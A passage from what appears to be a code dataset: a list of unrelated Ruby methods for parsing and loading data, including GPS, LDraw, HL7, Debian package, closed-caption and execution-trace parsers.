ln\n\t\t\t# otherwise log the occurrence of an error and break\n\t\t\telse puts \"Error parsing in line \"+i.to_s+\". Returned error \"+ln.to_s; return -1\n\t\t\tend\n\t\t\ti += 1\n\t\t}\n\t}\n\t# throw a loop at the end of the output file for style\n\toutput.puts \"(CTSLOOP)\\n@CTSLOOP\\n0;JMP\\n\"\n\tputs \"Successfully parsed \" + i.to_s + \" lines.\"\nend", "def read_end_data\n _app, data = File.read(file).split(/^__END__$/, 2)\n data || ''\n end", "def program() @program end", "def live_gps_dump\n\t\tputs \"Reading...\\n\"\n\t\tbuffer = \"\"\n\t\tdata = {}\n\t\trows = 1\n\t\terrors = 0\n\n\t\twhile true do\n\t\t\tbegin\n\t\t\t\tread\n\n\t\t\t\t# Clear previous data\n\t\t\t\tif rows > 0\n\t\t\t\t\t$stdout.print \"\\e[#{rows}A\\e[E\\e[J\"\n\t\t\t\t\trows = 0\n\t\t\t\tend\n\t\t\t\terrors = 0\n\t\t\t\t\n\t\t\t\t# Get date\n\t\t\t\tdate = self.date_time \n\t\t\t\tunless date.nil?\n\t\t\t\t\tdate = date.strftime(\"%b %d %I:%M %p\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tnum_sat = @data[:num_sat] || 0\n\t\t\t\t$stdout.print \"Time: #{date}\t\tSatellites: #{num_sat}\t\tQuality:#{@data[:quality]}\\n\"\n\t\t\t\t$stdout.print \"Latitude: #{@data[:latitude]}#{@data[:lat_ref]}\"\n\t\t\t\t$stdout.print \"\\tLongitude: #{@data[:longitude]}#{@data[:long_ref]}\"\n\t\t\t\t$stdout.print \"\\tElevation: #{@data[:altitude]}#{@data[:alt_unit]}\\n\"\n\t\t\t\trows += 3\n\t\t\t\t\n\t\t\t\t# Satellites\n\t\t\t\tif @data.key?(:num_sat)\n\t\t\t\t\t$stdout.print \"-- Satellites --\\n\"\n\t\t\t\t\t\n\t\t\t\t\t@data[:num_sat].times do | i | \n\t\t\t\t\t\t\n\t\t\t\t\t\tif @data.key?(:satellites) && @data[:satellites].size > i\n\t\t\t\t\t\t\tsat = @data[:satellites][i]\n\t\t\t\t\t\t\trows += 1\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$stdout.print \"#{sat[:id]}: \"\n\t\t\t\t\t\t\t$stdout.print \"Elevation: #{sat[:elevation]}\"\n\t\t\t\t\t\t\t$stdout.print \"\\t\\tAzimuth: #{sat[:azimuth]}\\n\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\trows += 1\n\t\t\t\tend\n\t\t\t\n\t\t\trescue Exception => e\n\t\t\t\t# Clear previous error\n\t\t\t\tif errors > 0\n\t\t\t\t\t$stdout.print \"\\e[1A\\e[E\\e[J\"\n\t\t\t\t\terrors = 0\n\t\t\t\tend\n\n\t\t\t\t$stdout.print \"\\nERROR: #{e.message}\\n\"\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\t$stdout.flush\n\t\tend\n\tend", "def parseProg\n\t\tputs \"parseProg\"\n\n\t\tparseMainClass()\n\t\twhile showNext.kind != :rsbrace\n\t\t\tparseClassDeclaration()\n\t\tend\n\t\texpect :rsbrace\n\n\t\treturn nil\n\tend", "def parse\n\n szpm_read_handle = File.open(@szpm_file)\n @szpm = szpm_read_handle.read\n szpm_read_handle.close\n\n @structure = JSON.parse( @szpm )\n end", "def parse_dotfile\n # the chunk is everything inside '{}'\n raw_chunk = @raw_dotfile.split(\"{\")[1].split(\"}\")[0].strip\n # pull out the header\n raw_header = raw_chunk.match(/([\\w\\s*=\".,\\s\\[\\]_\\\\]+;)*/m)[0]\n # find body by chopping header off chunk\n raw_body = raw_chunk.sub(raw_header, \"\")\n # split the body on '>];', which delimits the tables section\n raw_connections = raw_body.split(\">];\")[-1].strip\n # split out the tables section from the body\n raw_tables = raw_body.split(\">];\")[0 .. -2].join(\">];\").strip + \" \\n>];\"\n\n # assemble the output hash\n @graph_type = @raw_dotfile.match(/\\A\\s*((?:di)?graph)/)[1]\n @title = @raw_dotfile.match(/\\A\\s*(?:di)?graph\\s*(\\w+)/)[1]\n @header = parse_header(raw_header, \";\")\n @nodes = parse_nodes(raw_tables)\n @connections = parse_connections(raw_connections)\n end", "def parse_file(filename: \"\", type: \"level\")\n !filename.empty? ? file = File.binread(filename) : return\n case type\n when \"level\"\n mode = file[12].reverse.hd # game mode: 0 = solo, 1 = coop, 2 = race, 4 = unset\n title = file[38..165].split(//).delete_if{ |b| b == \"\\x00\" }.join\n author = \"\"\n map = parse_map(data: file[184..-1], type: \"new\")\n when \"attract\"\n map_length = file[0..3].reverse.hd\n demo_length = file[4..7].reverse.hd\n map_data = file[8 .. 8 + map_length - 1]\n demo_data = file[8 + map_length .. 8 + map_length + demo_length - 1]\n\n level_id = map_data[0..3].reverse.hd\n title = map_data[30..157].split(//).delete_if{ |b| b == \"\\x00\" }.join\n index = map_data[159..-1].split(//).find_index(\"\\x00\") + 158\n author = map_data[159..index]\n map = parse_map(data: map_data[index + 2..-1], type: \"new\")\n # demo = parse_demo(data: demo_data, attract: true) # no se si el attract hace falta, comparar esto con una replay normal\n when \"old\"\n title = file.split('#')[0][1..-1]\n author = \"Metanet Software\"\n map = parse_map(data: file.split(\"#\")[1], type: \"old\")\n else\n print(\"ERROR: Incorrect type (level, attract, old).\")\n return 0\n end\n {title: title, author: author, tiles: map[:tiles], objects: map[:objects]}\nend", "def load program_binary\n ram[code_start, program_binary.length] = program_binary\n self\n end", "def parse\n # TODO: Try to convert lsynth parts, maybe flag parts that are troublesome for manual editing,\n # look up to see if I've stored a conversion from ldraw ID to Bricklink ID,\n # convert Ldraw color IDs to BL color IDs, etc.\n parts = {}\n temp_parts = []\n\n @lines.each_with_index do |line, i|\n # This will stop getting parts for the base model once a submodel is reached\n break if line.match(/0 FILE/) && i > 15\n\n @submodels << line.match(/\\w+\\.ldr/).to_s.downcase if line.match(/^1/) && line.match(/\\.ldr$/)\n @lsynthed_parts << line.gsub('0 SYNTH BEGIN', '').split if line =~ /^0 SYNTH BEGIN/\n next unless line.match(/^1/) && line.match(/.dat$/)\n\n part = line.match(/\\w+\\.dat/).to_s.gsub!('.dat', '')\n next if lsynth_part?(part)\n\n color = line.match(/^1\\s\\d+/).to_s.gsub!('1 ', '')\n bl_part = get_bl_part_number(part)\n temp_parts << [bl_part, color, part]\n end\n\n # Now go through all submodels to determine the parts belonging to the submodels\n temp_parts = handle_submodels(temp_parts)\n\n # Not yet functional\n # handle_lsynthed_parts(temp_parts)\n\n temp_parts.each do |info|\n if parts.key?(\"#{info[0]}_#{info[1]}\")\n parts[\"#{info[0]}_#{info[1]}\"]['quantity'] += 1\n else\n parts[\"#{info[0]}_#{info[1]}\"] = {}\n parts[\"#{info[0]}_#{info[1]}\"]['quantity'] = 1\n parts[\"#{info[0]}_#{info[1]}\"]['ldraw_part_num'] = info[2]\n end\n end\n\n parts\n end", "def parse_from_summary(data)\n # \n end", "def parse\n\n puts \"==> invoked: #parse\"\n\n {\n # raw_feed: @feed_hash,\n information: @information,\n amenities: @amenities,\n floorplan: @floorplan,\n file: @file,\n }\n end", "def load_data()\n puts \"Which file would you like to pull data from?\"\n\n IO.foreach($stdin.gets.chomp) do |l|\n ui, mi, r, ts = l.split\n user_id, movie_id, rating, timestamp = ui.to_i, mi.to_i, r.to_i, ts.to_i\n\n # mov_and_rat = movies_and_ratings\n # use_and_rat = users_and_ratings\n @data[:users].add(user_id)\n unless(@data[:user_id][user_id])\n @data[:user_id][user_id] = {\n mov_and_rat: { movie_id => rating },\n titles: [movie_id]\n }\n else\n @data[:user_id][user_id][:mov_and_rat][movie_id] = rating\n @data[:user_id][user_id][:titles].push(movie_id)\n end\n\n @data[:movies].add(movie_id)\n unless(@data[:movie_id][movie_id])\n @data[:movie_id][movie_id] = {\n use_and_rat: { user_id => rating },\n ratings: [rating]\n }\n else\n @data[:movie_id][movie_id][:use_and_rat][user_id] = rating\n @data[:movie_id][movie_id][:ratings].push(rating)\n end\n end\n end", "def process_program(program, pub_date, bc, options)\n\n if !program.key?(:pub_title) || !program.key?(:creator) || !program.key?(:name)\n SouvlakiRS::logger.error \"No :pub_title, :creator, and/or :name specified\"\n return false\n end\n\n status = false\n\n SouvlakiRS::logger.info \"Fetching #{program[:pub_title]} for #{pub_date}, source: #{program[:source]}\"\n files = []\n\n case program[:source]\n when :file\n if !program.key?(:base_url)\n SouvlakiRS::logger.error \"No :base_url for file download specified\"\n return false\n end\n\n file_url = program[:base_url]\n file_url << \"/#{pub_date.strftime(program[:format])}\" if program.key?(:format)\n\n files = SouvlakiRS::remote_file_download(program[:pub_title], file_url)\n when :audioport\n show_name_uri = (program.key?(:ap_uri) ? program[:ap_uri] : program[:pub_title].gsub(' ', '+'))\n files = SouvlakiRS::audioport_download(program[:pub_title], pub_date, show_name_uri)\n when :rss\n if !program.key?(:feed)\n SouvlakiRS::logger.error \"No :feed entry specified\"\n return false\n end\n files = SouvlakiRS::rss_download(program[:pub_title], program[:feed], pub_date)\n end\n\n # tag & import handling\n files.each do |f|\n # retag:\n # - album is always set to program name (for consistency).\n # - artist (creator) is set if none is in the file\n album = program[:name]\n artist = program[:creator]\n\n retitle = program.key?(:retitle) && program[:retitle]\n tags = SouvlakiRS::Tag.retag_file(f, album, artist, pub_date, options[:write_tags], retitle)\n\n if !options[:write_tags]\n SouvlakiRS::logger.info \"Tags not rewritten. Read from file: Artist: '#{tags[:artist]}', Album: '#{tags[:album]}', Title: '#{tags[:title]}'\"\n end\n\n # import to airtime\n if !options[:import]\n SouvlakiRS::logger.warn \"NOOP run - will not import #{f} - deleting\"\n FileUtils.rm_f(f)\n program[:imported] = true\n else\n program[:imported] = SouvlakiRS::Airtime.import(f)\n\n SouvlakiRS::logger.info \"Airtime import '#{f}', status: #{program[:imported]}\"\n end\n\n # save tags\n program[:tags] = tags\n end\n\n\n # append to notification\n files.each do |f|\n\n if program[:imported]\n msg = \"#{program[:tags][:album]}: \\\"#{program[:tags][:title]}\\\"\"\n\n # report warning if duration info is given and program's looks odd\n if program.key?(:block)\n block_len = program[:block]\n min_len = block_len - (block_len / 5)\n file_dur = program[:tags][:length] / 60.0\n\n if file_dur >= block_len || file_dur < min_len\n d_hms = Time.at(program[:tags][:length]).utc.strftime(\"%H:%M:%S\")\n msg << \" (Length warning: #{d_hms})\"\n SouvlakiRS::logger.warn \"File duration (#{d_hms}) - block is #{block_len}\"\n end\n end\n\n bc.add_text msg\n status = true\n end\n end\n\n status\nend", "def package_data\n dpkg_query = 'dpkg-query -W -f=\\'\"${Package}\": {' \\\n '\"version\": \"${Version}\",' \\\n '\"status\": \"${Status}\",' \\\n '\"arch\": \"${Architecture}\",' \\\n '\"src_pkg\": \"${source:Package}\"' \\\n '}\\n\\''\n dpkg_query_so = shell_out(dpkg_query)\n\n if dpkg_query_so.error?\n Ohai::Log.error \"dpkg-query failed: #{dpkg_query_so}\"\n return\n end\n\n JSON.parse(\"{#{dpkg_query_so.stdout.split(\"\\n\").join(',')}}\")\n end", "def command_parse(argv)\n end", "def parseopts\n\n opts = OptionParser.new\n opts.on( '-v', '--verbose', \"Run verbosely\" ) { @verbose = true }\n opts.on( '-h', '--help', \"Emit help information\") { @help = true }\n opts.on( '--version', \"Emit version and exit\") { @version = true }\n opts.on( '-n', '--name NAME', \"Array name\" ) { |n| @arrayname = n }\n opts.on( '-t', '--type TYPE', \"Array type\" ) { |t| @arraytype = t }\n opts.on( '-o', '--output FILE', 'Output file name' ) { |f| @outfile = f\n $stdout.reopen(f, \"w\")}\n opts.on( '-p', '--[no-]preamble', \"No file header\" ) { |n| @preamble = n }\n\n opts.banner =<<-end.gsub(/^ {6}/, '')\n Translates the contents of any file to a C array.\n\n Usage: #{@appname} [options] [filename]\n\n Options:\n end\n\n\n opts.separator <<-notes.gsub(/^ {6}/, '')\n\n Examples:\n #{@appname} -o output.cpp foo.bin\n #{@appname} -o header.h foo.bin\n #{@appname} -v <foo.bin >output.cpp\n #{@appname} --no-preamble -o output.cpp <foo.bin\n #{@appname} --type \\\"uint8_t\\\" <foo.bin >output.cpp\n\n notes\n\n begin\n opts.parse!\n\n rescue Exception => e\n puts e, opts\n exit\n end\n\n if @version\n puts @verstring\n exit 0\n\n elsif @help\n puts opts\n exit 0\n end\n\n\n # if no arrayname specified, use\n # infile name. If infile is\n # stdin, use default.\n\n if @arrayname == \"\"\n fname = ARGF.filename\n\n if fname == \"-\" # stdin\n fname = \"binary_data\"\n end\n\n @arrayname = fname.chomp(File.extname(fname))\n end\n\n\n if @verbose\n warn <<-end.gsub(/^ {8}/, '')\n appname = #{File.basename $0}\n verstring = #{@appname} #{BIN2CVER}\n time = #{@time}\n verbose = #{@verbose}\n help = #{@help}\n version = #{@version}\n arrayname = #{@arrayname}\n arraytype = #{@arraytype}\n infile = #{ARGF.filename}\n outfile = #{@outfile}\n preamble = #{@preamble}\n\n end\n end\n end", "def parse(data, compact)\n magic = data[0..3]\n raise InvalidHeader, \"No magic bytes found at start\" unless %w( SDPX XPDS).include?(magic)\n \n is_le = (magic == \"XPDS\")\n \n version_check = FileInfo.only(:magic, :version)\n begin\n result = is_le ? version_check.apply_le!(data) : version_check.apply!(data)\n raise InvalidHeader, \"Unknown version tag #{result.version}\" unless result.version =~ /V(\\d)\\.(\\d+)/i\n rescue ArgumentError\n raise InvalidHeader, \"Cannot unpack header\"\n end\n \n struct = compact ? CompactDPX : DPX\n is_le ? struct.apply_le!(data) : struct.apply!(data)\n end", "def load_array\n #return if $valid_array\n $valid_array = false\n @data = []\n File.open(@app_file_path).each do |line|\n # FIXME: use @app_delim\n row = line.chomp.split \"\\t\"\n @data << row\n end\n $valid_array = true\n end", "def parse(data)\n @data = data\n end", "def execute\n setup\n begin\n data = main\n rescue ArgumentError => e\n warn e.message\n exit 1\n end\n puts format_data(data)\n end", "def parse \n info \"---- Digest DB and store data in mRNA Hash\"\n @count_ids = Counter.new # Count ids\n @count_seqnames = Counter.new # Count seqnames\n @componentlist = {} # Store containers, like genes, contigs\n @orflist = LinkedRecs.new\n @mrnalist = LinkedRecs.new # Store linked mRNA records\n @cdslist = LinkedRecs.new\n @exonlist = LinkedRecs.new\n @sequencelist = {}\n @unrecognized_features = {}\n @gff.records.each do | rec |\n store_record(rec)\n end\n @gff.sequences.each do | bioseq |\n id = bioseq.entry_id\n @sequencelist[id] = bioseq.to_s # in Bio::Sequence with contained Bio::FastaFormat\n end\n validate_mrnas\n validate_cdss \n show_unrecognized_features \n @genelist = @count_ids.keys \n log_sys_info(\"After reading GFF\")\n read_fasta\n log_sys_info(\"After reading FASTA\")\n end", "def main\n dict={}\n c=0; p=0\n gtf=gtfread(GTFPATH)\n Dir.glob(DIRECTORY+\"/**/*.pre\").each do |path|\n dict[path.split('/')[-1].split('.')[0]]=process(path, gtf)\n end\n genes,c,p=significant(gtf)\n dc=(C/c).floor\n dp=(P/p).floor\n Dir.glob(DIRECTORY+\"/**/*.pre\").each do |path|\n printer(path.split('.')[0]+\".fc\",dict[path.split('/')[-1].split('.')[0]],gtf,dc,dp,genes,\"foldchange\")\n printer(path.split('.')[0]+\".pval\",dict[path.split('/')[-1].split('.')[0]],gtf,dc,dp,genes,\"pval\")\n end\n bashcommands\nend", "def parse_data(buffer)\n @zipcode_dump = []\n buffer.each_line do |row|\n @zipcode_dump << JSON.parse(row)\n end\n @zipcode_dump\nend", "def parse_input (input_file)\nend", "def software_parser(file_name)\n software = Hash.new\n\n # read the file\n list = Hash.new\n File.open(file_name).each do |line|\n if (line.to_s.start_with? \"ii\")\n tmp = line.split(\"\\s\")\n\n str = \"\"\n for i in 3..(tmp.length-1) do\n str += tmp[i]\n str += \" \"\n end\n\n key = tmp[1]\n value = Hash[\"version\" => tmp[2], \"description\" => str]\n list[key] = value\n end\n end\n\n software[:software] = list\n\n File.open(\"#{file_name}.json\",\"w\") do |f|\n f << JSON.pretty_generate(software)\n end\n end", "def init_with_program(prog); end", "def parse\n parts = text.split(/^\\-\\-\\-/)\n\n if parts.size == 1\n data = {}\n #@parts << Part.new(sect[0]) #, *[@stencil, @default].compact.flatten)\n else\n parts.shift if parts.first.strip.empty?\n data = YAML::load(parts.first)\n if Hash === data\n parts.shift\n else\n data = {}\n end\n end\n\n parse_metadata(data)\n\n @parts = parts.map{ |part| Part.parse(self, part) }\n end", "def parse(data, pos = 0)\n return nil if @eject\n\n # Check to see if we need to apply some heuristics\n if @buff.length < MAGIC_BYTES\n rem = MAGIC_BYTES - @buff.length\n @buff << data[0, rem]\n pos += rem\n data[0, rem] = ''\n\n # Apply heuristics if we have enough data\n if @buff.length == MAGIC_BYTES\n FILE_MAGIC.each do |exp, parser|\n if @buff =~ exp\n begin\n @magic = parser\n @parser = method(\"fparse_#{parser}\")\n @conclude = method(\"conclude_#{parser}\") rescue nil\n @parser.call(@buff)\n rescue NameError\n @parser = nil\n @event_collector.send(:file_parser_dne) do\n { :format => @magic, :parser => \"fparse_#{parser}\",\n :client_ip => str_ip(@state.app_state[:src]),\n :server_ip => str_ip(@state.app_state[:dst]),\n :client_port => @state.app_state[:sport],\n :server_port => @state.app_state[:dport],\n :dir => @dir, :protocol => @proto\n }\n end\n end\n end # of if buff =~ exp\n end # of each file_magic\n end # of if sufficient buffer for heuristics\n\n return nil if data.empty?\n end # of if-need-heuristics-data\n\n # Just buffer the data and hand off to the file parser\n if @parser\n @parser = nil unless @parser.call(data)\n end\n @buff << data unless @buff.length > @maxlen\n @pos += data.length\n end", "def deserialize()\n mem_buf = File.new('test/ipv6_test/ruby_test/bin.babel.rb').binmode\n end", "def dump() end", "def load_launcher_data launcher_data_file=\"bin/LAUNCHER_TYPE\"\n launcher_data = nil\n\n begin\n File.open launcher_data_file do |f|\n launcher_data = YAML.load(f.read)\n end\n rescue Errno::ENOENT\n end\n\n return launcher_data\nend", "def vm_parse(parser, input)\n compiler = Parslet::Bytecode::Compiler.new\n program = compiler.compile(parser)\n \n vm = Parslet::Bytecode::VM.new(false)\n vm.run(program, input)\n end", "def processEntries(data)\n # Initialise output hash and kick if no data\n out = {:log => initLog(data), :data => String.new()}\n # Loop over the data, if any\n data[:data].each_with_index do |dat, i|\n # Boot if frowns\n if dat[\"smiles\"].nil?\n out[:log] += \" No SMILES code for entry #{i + 1}\\n\"\n next\n end\n # Get OpenBabel output\n out[:data] += obabelOutput(data[:names].join(\"; \"), dat[\"smiles\"])\n end\n return out\nend", "def pcdata!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 50 )\n\n type = PCDATA\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 406:9: {...}? => (~ '<' )+\n raise FailedPredicate( \"PCDATA\", \" !@tagMode \" ) unless ( ( !@tagMode ) )\n # at file 406:25: (~ '<' )+\n match_count_8 = 0\n while true\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0.between?( 0x0, 0x3b ) || look_8_0.between?( 0x3d, 0xffff ) )\n alt_8 = 1\n\n end\n case alt_8\n when 1\n # at line 406:26: ~ '<'\n if @input.peek( 1 ).between?( 0x0, 0x3b ) || @input.peek( 1 ).between?( 0x3d, 0xff )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n else\n match_count_8 > 0 and break\n eee = EarlyExit(8)\n\n\n raise eee\n end\n match_count_8 += 1\n end\n\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 50 )\n\n end", "def load_array\n #return if $valid_array\n $valid_array = false\n @data = []\n File.open(@app_file_path).each do |line|\n row = line.chomp.split( @app_delim ) \n @data << row\n end\n $valid_array = true\n end", "def print_segments\n\t\t# METHOD: after all of the HL7 content has been parsed, print the contents of each segment in a more easily readible format\n\t\t# output for 1 segment looks like:\n\t\t\t\t\t#~ :: Segment: PID\n\t\t\t\t\t#~ PID-0: Segment => PID\n\t\t\t\t\t#~ PID-1: Set ID - PID => 1\n\t\t\t\t\t#~ PID-2: Patient ID => \n\t\t\t\t\t#~ PID-3: Patient Identifier List => [[\"P00057804\", \"\", \"\", \"\", \"PN\"], [\"4009887514\", \"\", \"\", \"AUSHIC\", \"MC\"], [\"SMIAL001\", \"\", \"\", \"\", \"PI\"]]\n\t\t\t\t\t#~ PID-4: Alternate Patient ID - PID => \n\t\t\t\t\t#~ PID-5: Patient Name => [\"SMITH\", \"Alan\", \"Ross\", \"\", \"Mr\"]\n\t\t\t\t\t#~ PID-6: Mother’s Maiden Name => \n\t\t\t\t\t#~ PID-7: Date/Time of Birth => 19770621\n\t\t\t\t\t#~ PID-8: Sex => M\n\t\t\t\t\t#~ PID-9: Patient Alias => \n\t\t\t\t\t#~ PID-10: Race => \n\t\t\t\t\t#~ PID-11: Patient Address => [\"818 Beach Road\", \"\", \"BEECHMERE\", \"\", \"4510\", \"AU\", \"H\"]\n\n\t\t\t# iterate over each segment\n\t\t\t@parsed_content.each do |segment|\n\t\t\t\tseg = segment[0]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t # eg => \"PID\"\n\t\t\t\t\n\t\t\t\t#get yaml file details\n\t\t\t\tyamlfile = \"hl7specification/#{seg}\"\t\t\t\t\t# for each segment, find the appropriate yaml file (ie one for each segment)\n\t\t\t\tspecs = YAML.load_file(yamlfile)\t\t\t\t\t\t\t# load the yaml file\n\t\t\t\t\n\t\t\t puts \":: #{specs[\"Header\"][\"name\"]} (#{seg})\"\t\t\t# print the text eg \":: Message Header Segment (MSH)\"\n\t\t\t \n\t\t\t # then iterate over each field in the particular segment\n\t\t\t\tsegment.each_with_index do |field, index|\t\t\t\t\t# then for each field...\n\t\t\t\t\tif index > 0 then\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# only if the index is 1 or more (ie the first value is not useful here)\n\t\t\t\t\t\tfld = \"#{seg}-#{index}\"\t\t\t\t\t\t\t\t\t # get the field id => \"PID-5\"\n\t\t\t\t\t\tprint \" #{fld}: \"\t\t\t\t\t\t \t\t\t\t\t\t# on each line print the particular field being queried eg \"PID-5: \"\n\t\t\t\t\t\tfldname = specs[fld][\"name\"]\t\t\t\t\t\t\t\t\t# get the name of the field from the yaml file\n\t\t\t\t\t\tprint \"#{fldname} => \"\t\t\t\t\t\t\t\t\t\t\t\t# print the field name after the field eg \"PID-5: Patient Name\"\n\t\t\t\t\t\tif field.class == String then\t\t\t\t\t\t\t\t\t# if the field class is a string...\n\t\t\t\t\t\t\tputs field\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# then just print (ie add) the value of the string eg \"PID-7: Date/Time of Birth => 19770621\"\n\t\t\t\t\t\telsif field.class == Array then\t\t\t\t\t\t\t\t# otherwise if the field is an array, ie there is lower level structure...\n\t\t\t\t\t\t\tputs field.inspect\t\t\t\t\t\t\t\t\t\t\t\t\t# then print the structure eg \"PID-5 Patient Name => [\"SMITH\", \"Alan\", \"Ross\", \"\", \"Mr\"]\"\n\t\t\t\t\t\tend # << end if field...\n\t\t\t\t\tend # << end if index > 0 \n\t\t\t\tend\t # << end segment.each_with_index\n\t\t\t\tputs\t\n\t\t end\t # << end @parsed_content.each\n\t \n\t end", "def main profile_log\n # Script options\n # absolute_path doesn't work on 1.8.7 :-(\n # profile_log = File.absolute_path(profile_log)\n # hostname\n hostname = Socket.gethostname\n\n profile_output_file = Dir.pwd + (\"/%s.yml\" % hostname)\n\n puts \"This script is used to provide Puppet Labs with information regarding the\"\n puts \"setup of the puppet master in order to find areas where we can improve the\"\n puts \"puppet masters capacity.\"\n puts\n puts \"We will create a file named #{profile_output_file} with the following information in it:\"\n puts \" - Hardware Specs (OS, RAM, Swap, CPU, Virtual/Physical, Kernel, ect.)\"\n puts \" - Ruby Version and Puppet/Facter/Hiera Versions\"\n puts \" - Puppet Module Count on Master\"\n puts \" - If the Node Classifier is being used on the Master\"\n puts \" - Hiera complexity (How deep the hierarchical tree is)\"\n puts \" - Puppet Master profile data if applicable\"\n puts \" - Estimated Managed Node Count (using number of certs)\"\n puts\n if !continue_or_exit(\"Do you wish to continue and have the script generate a #{profile_output_file} file? \", \"y\", \"y\")\n abort(\"Script canceled by user.\")\n end\n puts\n puts \"--------------------------------------------------\"\n\n answers = {}\n\n # Gather Profile Data\n\n puts \"Gathering Profile Data from '#{profile_log}'\"\n if !File.exist?(profile_log)\n abort(\"File '#{profile_log}' does not exist.\")\n end\n lines = []\n File.open(profile_log).each_line do |line|\n if line =~ /PROFILE/\n lines.push(line)\n end\n end\n answers[\"profile_data\"] = lines.join(\"\\n\")\n\n # Gather system facts\n\n puts \"Gathering Hardware specs from Facter...\"\n answers['facter'] = gather_facts [\n \"architecture\",\n \"facterversion\",\n \"hardwareisa\",\n \"hardwaremodel\",\n \"is_virtual\",\n \"kernel\",\n \"kernelversion\",\n \"memoryfree_mb\",\n \"memorysize_mb\",\n \"os\",\n \"processors\",\n \"puppetversion\",\n \"rubyversion\",\n \"swapfree_mb\",\n \"swapsize_mb\",\n \"virtual\",\n ]\n\n # Get puppet module count\n # Helps us get a rough idea of how much Puppet is being used.\n\n puts \"Gathering modules count\"\n answers['module_count'] = get_module_count\n\n puts \"Gathering certificate count\"\n answers['cert_count'] = get_cert_count\n\n # Using a node classifier?\n\n puts \"Gathering Node Classifier details\"\n answers['node_classifier'] = puppet_master_config(\"node_terminus\")\n\n puts \"--------------------------------------------------\"\n\n # Approximate Number of nodes\n puts\n puts \"About how many nodes does this master manage?\"\n print \"Enter a number: \"\n answers[\"user_nodes\"] = $stdin.gets.chomp\n puts\n\n #while continue_or_exit(\"Would you like us to add additional profiles from a node you specify?\", \"n\", \"y\")\n # puts \"Please specify a node name to profile\"\n # print \"Node name: \"\n # node_name = $stdin.gets.chomp\n # puts \"Compiling a catalog\"\n #end\n\n ymlfile = File.open(profile_output_file, \"w\")\n ymlfile.write(answers.to_yaml)\n ymlfile.close()\n\n puts \"--------------------------------------------------\"\n puts\n puts \"A yaml file with your profile data has been put at #{profile_output_file}.\"\n puts\n puts \"Please email this file to 'britt@puppetlabs.com' along with any additional\"\n puts \"information you would like to include.\"\n puts\n puts \"--------------------------------------------------\"\n\nend", "def parse(source_buffer); end", "def parse(source_buffer); end", "def parse(source_buffer); end", "def parse\n end", "def parse\n parse_command\n load_config\n finalize_setup\n end", "def parse_data(data, check_parity)\n last_command = [0, 0]\n\n data.split(' ').each do |word_string|\n begin\n # Decode hexadecimal word into two-byte string\n word = [word_string].pack('H*')\n # Check parity\n fail ParityError, \"At least one byte in word #{word_string} has even parity, odd required\" unless !check_parity || (correct_parity?(word[0]) && correct_parity?(word[1]))\n # Remove parity bit for further processing\n word = word.bytes.collect { |byte|\n # Unset 8th bit\n (byte & ~(1 << 7))\n }\n\n hi, lo = word\n\n # First check if the word contains characters only\n if hi >= 0x20 && hi <= 0x7f\n # Skip characters if last command was on different channel\n if @data_channel != 0\n puts 'Skipping characters on channel 2'\n next\n end\n\n [hi, lo].each do |byte|\n handle_character(byte)\n end\n\n # Reset last command\n last_command = [0, 0]\n else\n if word == last_command\n # Skip commands transmitted twice for redundancy\n # But don't skip the next time, too\n last_command = [0, 0]\n next\n end\n\n # Channel information is encoded in the 4th bit, read it out\n @data_channel = (hi >> 3) & 1\n if @data_channel != 0\n puts 'Skipping command on channel 2'\n next\n # If channel 2 processing is needed, parse the file two times and\n # change the above condition as needed, then unset the channel bit\n # for further processing.\n end\n\n if hi == 0x11 && lo >= 0x30 && lo <= 0x3f\n # Special character\n handle_special_character(lo)\n elsif hi >= 0x10 && hi <= 0x17 && lo >= 0x40\n # Premable address code\n handle_preamble_address_code(hi, lo)\n elsif (hi == 0x14 || hi == 0x17) && lo >= 0x20 && lo <= 0x2f\n handle_control_code(hi, lo)\n elsif hi == 0x11 && lo >= 0x20 && lo <= 0x2f\n handle_mid_row_code(hi, lo)\n elsif hi == 0x00 && lo == 0x00\n # Ignore filler\n else\n puts \"Ignoring unknown command #{hi}/#{lo}\"\n end\n\n last_command = word\n end\n\n ensure\n # Advance one frame for each word read\n @now += 1\n end\n end\n end", "def get_stages exec_trace\n ret_array = []\n lines = exec_trace.split /\\n/\n current_line = 0\n # Skip past preamble\n until lines[current_line] =~ /M@/\n current_line += 1\n end\n pattern = /M@(\\w+)/\n while current_line < lines.length\n if lines[current_line].match pattern\n command = lines[current_line].sub pattern, '\\1'\n case command\n when \"assign\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"new\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := new(#{exp})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"dispose\"\n var = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"free(#{var})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"lookup\"\n var1 = lines[current_line += 1]\n var2 = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var1} := [#{var2}]\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"mutate\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n 